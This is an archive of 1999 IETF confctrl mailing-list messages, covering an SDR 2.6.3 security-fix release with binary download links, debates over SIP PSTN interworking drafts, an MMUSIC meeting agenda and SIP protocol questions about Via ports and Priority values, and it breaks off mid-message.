To: release@cs.ucl.ac.uk, confctrl@ISI.EDU
CC: okir@caldera.de, sdr@cs.ucl.ac.uk
Subject: SDR 2.6.3 Release
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Further security problems have been identified in the last release of
SDR (version 2.6.2).  An intermediate release to address these problems
is available from the UCL Networked Multimedia Research Group software
web page:  
http://www-mice.cs.ucl.ac.uk/multimedia/software/

Please note this version is not fully compliant with the SIP
specification.  Therefore a new version of SDR will be released shortly
to address this problem.

Bug reports should be sent to: sdr@cs.ucl.ac.uk

Kristian Hasler/Edmund Whelan/Colin Perkins
Networked Multimedia Group
University College London

From confctrl-owner  Fri Jun 25 11:06:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA11342
	for confctrl-outgoing; Fri, 25 Jun 1999 11:06:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11337
	for <confctrl@zephyr.isi.edu>; Fri, 25 Jun 1999 11:06:10 -0700 (PDT)
Received: from basil.cdt.luth.se (root@basil.cdt.luth.se [130.240.64.67])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA22249
	for <confctrl@ISI.EDU>; Fri, 25 Jun 1999 11:06:09 -0700 (PDT)
Received: from tuttifrutti.cdt.luth.se (root@tuttifrutti.cdt.luth.se [130.240.52.42]) by basil.cdt.luth.se (8.8.8/8.7.3) with ESMTP id UAA02302; Fri, 25 Jun 1999 20:05:37 +0200 (MET DST)
Received: from tuttifrutti (IDENT:hakan@localhost [127.0.0.1])
	by tuttifrutti.cdt.luth.se (8.9.3/8.9.3) with ESMTP id UAA05675;
	Fri, 25 Jun 1999 20:05:36 +0200
Message-Id: <199906251805.UAA05675@tuttifrutti.cdt.luth.se>
X-Mailer: exmh version 2.0.2
From: Hakan.Lennestal@cdt.luth.se
Reply-to: Hakan.Lennestal@cdt.luth.se
To: Kristian Hasler <K.Hasler@cs.ucl.ac.uk>
cc: release@cs.ucl.ac.uk, confctrl@ISI.EDU, okir@caldera.de, sdr@cs.ucl.ac.uk
Subject: Re: SDR 2.6.3 Release 
In-reply-to: Your message of "Fri, 25 Jun 1999 17:30:18 BST."
             <3773AE9A.5694C094@cs.ucl.ac.uk> 
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Date: Fri, 25 Jun 1999 20:05:36 +0200
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id LAA11338
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <3773AE9A.5694C094@cs.ucl.ac.uk>, Kristian Hasler writes:
> Further security problems have been identified in the last release of
> SDR (version 2.6.2).  An intermediate release to address these problems
> is available from the UCL Networked Multimedia Research Group software
> web page:  
> http://www-mice.cs.ucl.ac.uk/multimedia/software/
> 
> Please note this version is not fully compliant with the SIP
> specification.  Therefore a new version of SDR will be released shortly
> to address this problem.
> 
> Bug reports should be sent to: sdr@cs.ucl.ac.uk
> 
> Kristian Hasler/Edmund Whelan/Colin Perkins
> Networked Multimedia Group
> University College London

A linux binary (RedHat 6.0) is available at
ftp://ftp.cdt.luth.se/mbone/Linux/sdr-2.6.3-linux.gz

/Håkan



---------------------------------------
e-mail: Hakan.Lennestal@lu.erisoft.se |
     or Hakan.Lennestal@cdt.luth.se   |
     or hakan@tuttifrutti.nu          |
---------------------------------------


From confctrl-owner  Fri Jun 25 17:59:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA29932
	for confctrl-outgoing; Fri, 25 Jun 1999 17:59:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA29927
	for <confctrl@zephyr.isi.edu>; Fri, 25 Jun 1999 17:59:03 -0700 (PDT)
Received: from Lawrence.roke.co.uk (Lawrence.roke.co.uk [193.118.192.41])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA04919
	for <confctrl@ISI.EDU>; Fri, 25 Jun 1999 17:59:01 -0700 (PDT)
Received: from [193.118.192.80] by Lawrence.roke.co.uk
 with SMTP (Eudora Internet Mail Server 1.3.1); Sat, 26 Jun 1999 02:01:14 +0100
X-Sender: lwc@derek.roke.co.uk
Message-Id: <v02140b00b399d2119e73@[193.118.192.55]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 26 Jun 1999 01:58:41 +0100
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
From: lwc@roke.co.uk (Lawrence Conroy)
Subject: Re: PSTN Interworking Draft
Cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 9:44 am 25/6/99, Adam B. Roach wrote to the MMUSIC list:
>The following draft is now available from the Internet Drafts
>archive:
>"SIP PSTN Interworking Umbrella 'Require:' Header"
>     This document outlines a new value for the SIP "Require:" header
>     which denotes compliance with a number of mechanisms necessary to
>     interwork smoothly with existing telephony networks.
>

To which I reply:
I have a slight qualm with this document. The PINT Drafts have had two
methods called SUBSCRIBE and NOTIFY for a long while now (basically since
Henning and Jonathon originally suggested them to us when what is now IMPP
started).

I HOPE that the SUBSCRIBE/NOTIFY stuff of section 2.4 (with the note "This
document is not yet written.") isn't going to clash with the existing PINT
use, otherwise we'll break things (I trust that isn't the intent :). A
similar approach seems likely in any PIN work, and any revivification of
the SIP-for-Presence work. Any new document is not going to hit an empty
table.

All the best, Lawrence
-----------------------------------------------------------------------
| Lawrence Conroy,    | "These Opinions must be mine, 'cos if they    |
| Roke Manor Research |  were my Company's they'd charge you for them"|
|- lwc@roke.co.uk  ---+- Tel: +44 1794 833666  Fax: +44 1794 833434 --|



From confctrl-owner  Sat Jun 26 10:31:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA10771
	for confctrl-outgoing; Sat, 26 Jun 1999 10:31:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA10766
	for <confctrl@zephyr.isi.edu>; Sat, 26 Jun 1999 10:31:09 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA18080
	for <confctrl@ISI.EDU>; Sat, 26 Jun 1999 10:31:08 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id MAA07119;
	Sat, 26 Jun 1999 12:30:35 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id MAA02663;
	Sat, 26 Jun 1999 12:30:35 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45.exu.ericsson.se [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id MAA10566; Sat, 26 Jun 1999 12:30:32 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id MAA05350;
	Sat, 26 Jun 1999 12:30:31 -0500 (CDT)
Date: Sat, 26 Jun 1999 12:30:31 -0500 (CDT)
Message-Id: <199906261730.MAA05350@b04a45.exu.ericsson.se>
To: Adam.Roach@ericsson.com, lwc@roke.co.uk
Subject: Re: PSTN Interworking Draft
Cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> 
> At 9:44 am 25/6/99, Adam B. Roach wrote to the MMUSIC list:
> >The following draft is now available from the Internet Drafts
> >archive:
> >"SIP PSTN Interworking Umbrella 'Require:' Header"
> >     This document outlines a new value for the SIP "Require:" header
> >     which denotes compliance with a number of mechanisms necessary to
> >     interwork smoothly with existing telephony networks.
> >
> 
> To which I reply:
> I have a slight qualm with this document. The PINT Drafts have had two
> methods called SUBSCRIBE and NOTIFY for a long while now (basically since
> Henning and Jonathon originally suggested them to us when what is now IMPP
> started).
> 
> I HOPE that the SUBSCRIBE/NOTIFY stuff of section 2.4 (with the note "This
> document is not yet written.") isn't going to clash with the existing PINT
> use, otherwise we'll break things (I trust that isn't the intent :). A
> similar approach seems likely in any PIN work, and any revivification of
> the SIP-for-Presence work. Any new document is not going to hit an empty
> table.
> 
> All the best, Lawrence
> -----------------------------------------------------------------------
> | Lawrence Conroy,    | "These Opinions must be mine, 'cos if they    |
> | Roke Manor Research |  were my Company's they'd charge you for them"|
> |- lwc@roke.co.uk  ---+- Tel: +44 1794 833666  Fax: +44 1794 833434 --|
> 

The intent of the document was not to re-invent anything but to bring the
various drafts concerning PSTN-SIP interworking under one umbrella draft to
simplify the development and standardization of SIP nodes which must 
interwork with the PSTN. Whatever SUBSCRIBE/NOTIFY methods can be agreed upon
and standardized will be used. (Whether from PINT, PIN, IMPP or MMUSIC)

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Mon Jun 28 04:44:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA09629
	for confctrl-outgoing; Mon, 28 Jun 1999 04:44:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA09624
	for <confctrl@zephyr.isi.edu>; Mon, 28 Jun 1999 04:44:24 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA25488
	for <confctrl@isi.edu>; Mon, 28 Jun 1999 04:44:23 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA25912;
	Mon, 28 Jun 1999 07:43:49 -0400 (EDT)
Message-Id: <199906281143.HAA25912@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-cc-01.txt
Date: Mon, 28 Jun 1999 07:43:48 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SIP Call Control Services
	Author(s)	: H. Schulzrinne, J. Rosenberg 
	Filename	: draft-ietf-mmusic-sip-cc-01.txt
	Pages		: 34
	Date		: 25-Jun-99
	
This document describes a set of extensions to SIP which allow for
various call control services. Example services include blind
transfer, transfer with consultation, multi-party calls, bridged
conferences, and ad-hoc conferencing. The services are supported in a
fully distributed manner, so that they can be provided without a
central conference server. However, a SIP proxy can act as a
conference server to provide these services. For the various services
described here, we overview the requirements for the service, and
specify the protocol functions needed to support it. We then define a
basic set of SIP primitives which can be used to construct these
services, and others.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-cc-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-cc-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-cc-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990625142510.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-cc-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-cc-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990625142510.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Mon Jun 28 05:32:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA17669
	for confctrl-outgoing; Mon, 28 Jun 1999 05:32:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA17664
	for <confctrl@zephyr.isi.edu>; Mon, 28 Jun 1999 05:32:27 -0700 (PDT)
Received: from smtp-out2.bellatlantic.net (smtp-out2.bellatlantic.net [199.45.39.157])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA29143
	for <confctrl@isi.edu>; Mon, 28 Jun 1999 05:32:26 -0700 (PDT)
Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48])
	by smtp-out2.bellatlantic.net (8.9.1/8.9.1) with ESMTP id IAA10192;
	Mon, 28 Jun 1999 08:36:03 -0400 (EDT)
Message-ID: <37776BA1.8018C832@cs.columbia.edu>
Date: Mon, 28 Jun 1999 08:33:37 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 4.5 [en]C-CCK-MCD BA45DSL  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, rem-conf@es.net
CC: Jeff Pulver <jeff@pulver.com>
Subject: Second SIP bake-off
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The second SIP bake-off will take place at pulver.com (Melville, NY, on
Long Island near NYC) on August 5th and 6th. Details can be found at
http://www.pulver.com/sip/ or through the SIP page at
http://www.cs.columbia.edu/sip.

The emphasis of this second bake-off is on more advanced SIP
functionality, for example, proxying, security and CANCEL.

We will also likely target basic RTP interoperability for testing at the
event.

Details on available hardware and software will be made available later,
but you might want to send a note to Jeff Pulver if you anticipate
needing more than just Ethernet jacks.

Thanks to Jeff Pulver for hosting the event.

Henning

From confctrl-owner  Mon Jun 28 07:44:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA08084
	for confctrl-outgoing; Mon, 28 Jun 1999 07:44:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA08079
	for <confctrl@zephyr.isi.edu>; Mon, 28 Jun 1999 07:44:35 -0700 (PDT)
Received: from POP3.tu-dresden.de (POP3.tu-dresden.de [141.30.2.83])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA09835
	for <confctrl@ISI.EDU>; Mon, 28 Jun 1999 07:44:31 -0700 (PDT)
Received: from rmail.urz.tu-dresden.de by rks3 with SMTP (PP);
          Mon, 28 Jun 1999 16:40:44 +0200
Received: from rncmm2.urz.tu-dresden.de by rmail with SMTP (IC-PP);
          Mon, 28 Jun 1999 16:31:20 +0200
Received: from localhost (fleck@localhost) 
          by rncmm2.urz.tu-dresden.de (8.8.8+Sun/8.8.8) with SMTP id QAA13841;
          Mon, 28 Jun 1999 16:40:54 +0200 (MET DST)
X-Authentication-Warning: rncmm2.urz.tu-dresden.de: fleck owned process doing 
                          -bs
Date: Mon, 28 Jun 1999 16:40:54 +0200 (MET DST)
From: Christoph Fleck <fleck@Rcs1.urz.tu-dresden.de>
X-Sender: fleck@rncmm2.urz.tu-dresden.de
Reply-To: Multimedia Referenzzentrum <mmt-ref@tu-dresden.de>
To: Hakan.Lennestal@cdt.luth.se
cc: Kristian Hasler <K.Hasler@cs.ucl.ac.uk>, release@cs.ucl.ac.uk,
        confctrl@ISI.EDU, okir@caldera.de, sdr@cs.ucl.ac.uk
Subject: Re: SDR 2.6.3 Release
In-Reply-To: <199906251805.UAA05675@tuttifrutti.cdt.luth.se>
Message-ID: <Pine.GSO.3.95.990628163646.13833A-100000@rncmm2.urz.tu-dresden.de>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> > Further security problems have been identified in the last release of
> > SDR (version 2.6.2).  An intermediate release to address these problems
> > is available from the UCL Networked Multimedia Research Group software
> > web page:  
> > http://www-mice.cs.ucl.ac.uk/multimedia/software/

> A linux binary (RedHat 6.0) is available at
> ftp://ftp.cdt.luth.se/mbone/Linux/sdr-2.6.3-linux.gz

And a freebsd binary (aout) is available at
ftp://ftp-mm.urz.tu-dresden.de/pub/mbone/sdr/sdr-2.6.3-freebsd-aout.gz

Rgds,
Christoph Fleck

,------------------------------------------------------------------.
| Referenzzentrum fuer multimediale Teledienste (MMRZ), TU Dresden |
|         Dr. Klaus Koehler, Christoph Fleck                       |
| e-mail: mmt-ref@tu-dresden.de             Tel.: 0351 / 463 5653  |
|    WWW: http://www-mm.urz.tu-dresden.de               (GERMANY)  |
`------------------------------------------------------------------'


From confctrl-owner  Mon Jun 28 09:36:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA26933
	for confctrl-outgoing; Mon, 28 Jun 1999 09:36:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA26920
	for <confctrl@zephyr.isi.edu>; Mon, 28 Jun 1999 09:36:02 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA25291
	for <confctrl@isi.edu>; Mon, 28 Jun 1999 09:35:50 -0700 (PDT)
Received: from ruin.informatik.uni-bremen.de (ruin.informatik.uni-bremen.de [134.102.224.52])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with ESMTP id SAA12890;
	Mon, 28 Jun 1999 18:32:09 +0200 (MET DST)
From: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
Received: (from jo@localhost)
	by ruin.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id SAA15721;
	Mon, 28 Jun 1999 18:31:45 +0200 (MET DST)
Message-Id: <199906281631.SAA15721@ruin.informatik.uni-bremen.de>
Subject: MMUSIC schedule and agenda
To: confctrl@ISI.EDU
Date: Mon, 28 Jun 1999 18:31:44 +0200 (MET DST)
Cc: mjh@aciri.org, rlang@sri.com, schooler@cs.caltech.edu
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

MMUSIC is scheduled to meet on Tuesday afternoon at the next IETF:

        1300-1400  Afternoon Sessions I
        Film        TSV  mmusic    Multiparty Multimedia Session Control WG *

        1415-1515  Afternoon Sessions II
        Film        TSV  mmusic    Multiparty Multimedia Session Control WG *

There is an overlap with the the following BOF for the first hour for which
we are currently trying to work out a solution:

        Kunst       RTG  maestro   Multicast Addressing Extensions and Single 
                                     Transmitter Optimizations BOF

We would like to solicit input on the agenda for MMUSIC.  Please copy
all co-chairs in your e-mail request.  Those who have already submitted
requests to speak, please do not send them again -- unless you have not
sent it to all co-chairs.

Thanks,
Joerg

From confctrl-owner  Mon Jun 28 11:10:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA11908
	for confctrl-outgoing; Mon, 28 Jun 1999 11:10:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11903
	for <confctrl@zephyr.isi.edu>; Mon, 28 Jun 1999 11:10:24 -0700 (PDT)
Received: from uqam.ca (anis.telecom.uqam.ca [132.208.250.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11017
	for <confctrl@isi.edu>; Mon, 28 Jun 1999 11:10:23 -0700 (PDT)
Received: from info.uqam.ca ([132.208.135.63])
	by uqam.ca (8.9.2/8.9.2) with ESMTP id OAA02359
	for <confctrl@isi.edu>; Mon, 28 Jun 1999 14:10:20 -0400 (EDT)
Message-ID: <3777B970.59AE3008@info.uqam.ca>
Date: Mon, 28 Jun 1999 14:05:36 -0400
From: Christian Gosselin <gosselin@info.uqam.ca>
X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.2.5-15 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: Conference Control List <confctrl@ISI.EDU>
Subject: UAS behavior ??
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

After some testing I realize that I was wrong on little details. It
concerns the section 10.2.1 of RFC2543.

Considering a UDP sip client, a registration wich doesn't redirect the
request on a different port and a UAS that listen on 5060 (sic !)

If no port is mention in the VIA header what should be the behavior (on
which port the response should be sent) of my UAS on reception of a
request ?

Is it correct that by default the UAS handles all the response ??
By default I mean that my UAC don't put any port number in the via
header for an invitation request.

Were they any action taken after the rfc2543 notes concerning the UDP
Responses ??

-- 
====================================================
Laboratoire de teleinformatique
tel: 987-3000	local: 6189
gosselin@info.uqam.ca
http://www.info.uqam.ca/~gosselin

From confctrl-owner  Mon Jun 28 13:46:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA06498
	for confctrl-outgoing; Mon, 28 Jun 1999 13:46:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA06493
	for <confctrl@zephyr.isi.edu>; Mon, 28 Jun 1999 13:46:32 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA07744
	for <confctrl@ISI.EDU>; Mon, 28 Jun 1999 13:46:07 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon Jun 28 16:44:27 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.248.31])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id QAA26005;
	Mon, 28 Jun 1999 16:44:27 -0400 (EDT)
Message-ID: <3777DED7.87E7D8CE@dnrc.bell-labs.com>
Date: Mon, 28 Jun 1999 16:45:11 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Christian Gosselin <gosselin@info.uqam.ca>
CC: Conference Control List <confctrl@ISI.EDU>
Subject: Re: UAS behavior ??
References: <3777B970.59AE3008@info.uqam.ca>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Gosselin wrote:
> 
> After some testing I realize that I was wrong on little details. It
> concerns the section 10.2.1 of RFC2543.
> 
> Considering a UDP sip client, a registration wich doesn't redirect the
> request on a different port and a UAS that listen on 5060 (sic !)
> 
> If no port is mention in the VIA header what should be the behavior (on
> which port the response should be sent) of my UAS on reception of a
> request ?

The default is 5060. So, if a UAS receives a request without a port in
the top Via, the response is sent to 5060.

> 
> Is it correct that by default the UAS handles all the response ??
> By default I mean that my UAC don't put any port number in the via
> header for an invitation request.

If the UAC wants to receive responses on 5060, there is no need to put a
port in the Via header. If it wants to receive responses on a different
port, it should put that port number in the Via header.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jun 28 15:02:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA18845
	for confctrl-outgoing; Mon, 28 Jun 1999 15:02:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA18840
	for <confctrl@zephyr.isi.edu>; Mon, 28 Jun 1999 15:02:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA21258
	for <confctrl@isi.edu>; Mon, 28 Jun 1999 15:02:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon Jun 28 18:00:25 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.248.31])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id SAA27736;
	Mon, 28 Jun 1999 18:00:24 -0400 (EDT)
Message-ID: <3777F0A4.2C142F8@dnrc.bell-labs.com>
Date: Mon, 28 Jun 1999 18:01:08 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU
Subject: Re: Priority - string or value ?
References: <6525679B.004A1875.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

These basic classifications have sufficed for email. They're nice in
that its easy for a human being to select a value, since the meaning is
clear. I would be inclined not to change these unless there is a
demonstrable need.

-Jonathan R.

archow@hss.hns.com wrote:
> 
> Hi the priority grammar has been defined in RFC-2543 as:
> 
>         Priority        =  "Priority" ":" priority-value
>         priority-value  =  "emergency" | "urgent" | "normal"
>                         |  "non-urgent"
> 
> Isnt it more helpful if a integral number is also added as a part of
> priority value ?
> This would allow a larger scalability of priorities. Implementation point
> of view, a numeric priority value would be easier to categorise/extend too.
> For example the grammar might say
> priority-value = 1 | 2| 3| 4 where 1 means "emergency etc"
> so I can go ahead and add a 5 if I want to (which may well be understood by
> only my implementation and in future may be understood by others as they
> standardise)
> 
> Just a thought.
> Regds
> Arjun

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun 29 22:06:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA01897
	for confctrl-outgoing; Tue, 29 Jun 1999 22:06:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA01892
	for <confctrl@zephyr.isi.edu>; Tue, 29 Jun 1999 22:06:23 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA01886
	for <confctrl@isi.edu>; Tue, 29 Jun 1999 22:05:52 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id LAA03535
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 11:44:56 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567A0.001C2288 ; Wed, 30 Jun 1999 10:37:18 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <652567A0.001B8F3E.00@sampark.hss.hns.com>
Date: Wed, 30 Jun 1999 10:37:14 +0530
Subject: Buddy Lists and UDP max MTU size
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
I have a question on SIP message exceeding MTU size.

My interpretation of Section 1.5.2 of RFC 2543 which states that UDP
datagrams should not exceed > MTU was that
all SIP messages must e wholly contained in one Datagram each.

Now, to implement Buddy Lists, Im returning a list of Registered Users when
a user sends a REGISTER. However, this will result in a very high
